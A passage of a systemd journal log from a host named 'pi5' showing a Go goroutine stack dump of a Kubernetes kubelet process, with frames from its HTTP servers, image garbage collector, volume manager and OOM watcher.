kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420c889f0, 0x0, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/cmd/kubelet/app.startkubelet\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:956 +0x244\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 186  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1b80, 0x72, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420b54ae8, 0x72, 0x4fdecb8, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420b54ae8, 0xffffffffffffffff, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .accept 0x4420b54a80, 0x0, 0x4ff16c0, 0x4420dfc640 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:430 +0x16c\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accept 0x44204720d8, 0x4420dbd2c0, 0x4400000000, 0x650780 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock_posix.go:136 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accepttcp 0x44204720d8, 0x6506bc, 0x4420d5db80, 0x4420d5db78 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock.go:215 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : net/http.tcpkeepalivelistener.accept 0x44204720d8, 0x4420dbd290, 0x2d0d320, 0x4fc9a20, 0x3080aa0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:3044 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .serve 0x4420718000, 0x50111c0, 0x44204720d8, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2643 +0x1bc\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .listenandserve 0x4420718000, 0x4420718000, 0x4420e2a520 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2585 +0x98\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/server.listenandservekubeletreadonlyserver 0x5024ea0, 0x4420b92000, 0x5004e80, 0x4420780d60, 0x4420cde8c0, 0x10, 0x10, 0x280f, 0x7f9411eea8, 0x4420ab7e10 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:156 +0x258\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .listenandservereadonly 0x4420b92000, 0x4420cde8c0, 0x10, 0x10, 0x280f \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:2198 +0x6c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/cmd/kubelet/app.startkubelet.func3  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:960 +0x78\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420c82ac0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420c82ac0, 0x0, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420c82ac0, 0x0, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/cmd/kubelet/app.startkubelet\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:961 +0x15c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 196  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420331e50, 0x45d964b800, 0x0, 0x453601, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420331e50, 0x45d964b800, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/images.  realimagegcmanager .start\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/images/image_gc_manager.go:169 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 187  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1d00, 0x72, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420c313a8, 0x72, 0x4fdecb8, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420c313a8, 0xffffffffffffffff, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .accept 0x4420c31340, 0x0, 0x4ff16c0, 0x4420c82b80 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:430 +0x16c\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accept 0x4420ab05d0, 0x4420c88b40, 0x4400000020, 0x650780 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock_posix.go:136 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : net.  tcplistener .accepttcp 0x4420ab05d0, 0x6506bc, 0x44206e5d30, 0x44206e5d28 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/tcpsock.go:215 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : net/http.tcpkeepalivelistener.accept 0x4420ab05d0, 0x4420c88b10, 0x2d0d320, 0x4fc9a20, 0x3080aa0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:3044 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .serve 0x44207188f0, 0x50111c0, 0x4420ab05d0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2643 +0x1bc\r jun 26 07:10:21 pi5 kubelet 716 : net/http.  server .listenandserve 0x44207188f0, 0x44207188f0, 0xf \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2585 +0x98\r jun 26 07:10:21 pi5 kubelet 716 : net/http.listenandserve 0x4420d52090, 0xf, 0x0, 0x0, 0x4420d52090, 0xf \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/http/server.go:2787 +0x78\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/cmd/kubelet/app.run.func1  \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:610 +0x6c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420d52080 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420d52080, 0x12a05f200, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420d52080, 0x12a05f200, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/cmd/kubelet/app.run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:614 +0x3fc\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 197  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420331e70, 0x6fc23ac00, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420331e70, 0x6fc23ac00, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/images.  realimagegcmanager .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/images/image_gc_manager.go:180 +0x104\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 233  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.waitfor 0x442050bb20, 0x4420ff1f90, 0x44200a4060, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:274 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.polluntil 0x5f5e100, 0x4420ad6790, 0x44200a4060, 0x54d2f8, 0x4420e2ae70 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:254 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/volumemanager/populator.  desiredstateofworldpopulator .run 0x4420760f00, 0x4ff77c0, 0x44207657a0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go:129 +0x5c\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/volumemanager.  volumemanager .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/volume_manager.go:242 +0x80\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 129  io wait :\r jun 26 07:10:22 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1a00, 0x72, 0x13 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:22 pi5 kubelet 716 : net.  polldesc .wait 0x4420b55e28, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:22 pi5 kubelet 716 : net.  polldesc .waitread 0x4420b55e28, 0x4420b9d000, 0x1000 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:22 pi5 kubelet 716 : net.  netfd .read 0x4420b55dc0, 0x4420b9d000, 0x1000, 0x1000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:22 pi5 kubelet 716 : net.  conn .read 0x44204722f8, 0x4420b9d000, 0x1000, 0x1000, 0x0, 0x0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .read 0x44205418c0, 0x4420b9d000, 0x1000, 0x1000, 0x4, 0x44e310, 0x4420daa720 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1316 +0xf8\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .fill 0x4420ba7ec0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:97 +0xf4\r jun 26 07:10:22 pi5 kubelet 716 : bufio.  reader .peek 0x4420ba7ec0, 0x1, 0x4420cc6bd8, 0x1, 0x0, 0x4420daafc0, 0x0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:129 +0x58\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .readloop 0x44205418c0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1474 +0x158\r jun 26 07:10:22 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1117 +0x7f0\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 261  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2adb0, 0xdf8475800, 0x0, 0x453601, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2adb0, 0xdf8475800, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/cm.  qoscontainermanagerimpl .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cm/qos_container_manager_linux.go:136 +0x718\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 234  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.poller.func1.1 0x442023cea0, 0x5f5e100, 0x0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:318 +0x16c\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.poller.func1\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:332 +0x74\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 210  select :\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .writeloop 0x44205418c0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1704 +0x330\r jun 26 07:10:22 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1118 +0x810\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 246  select :\r jun 26 07:10:22 pi5 kubelet 716 : net/http.  persistconn .writeloop 0x4420d787e0 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1704 +0x330\r jun 26 07:10:22 pi5 kubelet 716 : created by net/http.  transport .dialconn\r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/net/http/transport.go:1118 +0x810\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 263  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2ae30, 0x45d964b800, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2ae30, 0x45d964b800, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/cm.  containermanagerimpl .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cm/container_manager_linux.go:532 +0x1b0\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 264  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  realoomwatcher .start.func1 0x4420e2ae40, 0x44207807a0, 0x4420766e00 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/oom_watcher.go:65 +0x6c\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  realoomwatcher .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/oom_watcher.go:70 +0x160\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 265  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2ae70, 0xdf8475800, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2ae70, 0xdf8475800, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0x4420e2ae70, 0xdf8475800 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:43 +0x38\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/server/stats.  fsresourceanalyzer .start.func1\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/fs_resource_analyzer.go:67 +0xec\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 266  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/volumemanager.  volumemanager .run 0x44207670a0, 0x4ff77c0, 0x44207657a0, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/volumemanager/volume_manager.go:248 +0x128\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1323 +0x94\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 267  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0xbebc2000 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .registerwithapiserver 0x4420b92000 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:70 +0x30\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .syncnodestatus 0x4420b92000 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:346 +0x90\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.syncnodestatus -fm  \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1327 +0x20\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420e2ae80 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2ae80, 0x2540be400, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2ae80, 0x2540be400, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1327 +0x498\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 268  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2ae90, 0x6fc23ac00, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2ae90, 0x6fc23ac00, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1329 +0x118\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 269  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2aea0, 0x12a05f200, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2aea0, 0x12a05f200, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1330 +0x190\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 270  select :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420e2aeb0, 0xdf8475800, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420e2aeb0, 0xdf8475800, 0x44200a4060 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1334 +0x3c4\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 271  chan receive :\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .podkiller 0x4420b92000 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:919 +0x78\r jun 26 07:10:22 pi5 kubelet 716 : 